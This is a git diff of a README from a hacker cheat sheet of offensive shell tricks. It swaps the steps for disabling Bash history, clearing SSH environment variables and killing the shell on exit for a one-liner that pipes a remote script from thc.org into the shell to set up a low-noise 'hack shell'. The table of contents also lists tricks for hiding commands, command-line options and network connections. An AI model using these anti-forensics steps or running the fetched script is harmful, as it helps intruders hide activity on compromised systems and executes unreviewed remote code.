Merge branch 'master' of github.com:hackerschoice/thc-tips-tricks-hacks-cheat-sheet

README.md

@@ -11,7 +11,7 @@ We show the tricks 'as is' without any explanation why they work. You need to kn
 Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
 
 1. [Bash](#bash)
-   1. [Leave Bash without history](#bash-no-history)
+   1. [Set up a Hack Shell](#hackshell)
    1. [Hide your commands](#bash-hide-command)
    1. [Hide your command line options](#zap)
    1. [Hide a network connection](#bash-hide-connection)
@@ -114,23 +114,15 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
 ---
 <a id="bash"></a>
 ## 1. Bash / Shell
-<a id="bash-no-history"></a>
-**1.i. Leave Bash without history:**
-
-Tell Bash to use */dev/null* instead of *~/.bash_history*. This is the first command we execute on every shell. It will stop the Bash from logging your commands. 
+<a id="hackshell"></a>
+**1.i. Set up a Hack Shell (bash):**
 
+Make BASH less noisy. Disables *~/.bash_history* and [many other things](tools/hackshell.sh).
 ```sh
-export HISTFILE=/dev/null
-unset SSH_CONNECTION SSH_CLIENT
-```
-
-(We also clear SSH_* variables in case we logged in with SSH. Otherwise any process we start gets a copy of our IP in /proc/self/environ.)
-
-It is good housekeeping to 'commit suicide' when exiting a shell:
-```sh
-alias exit='kill -9 $$'
+source <(curl -SsfL https://thc.org/hs)
 ```
 
+Bonus tip:
 Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either.
 ```
 $  id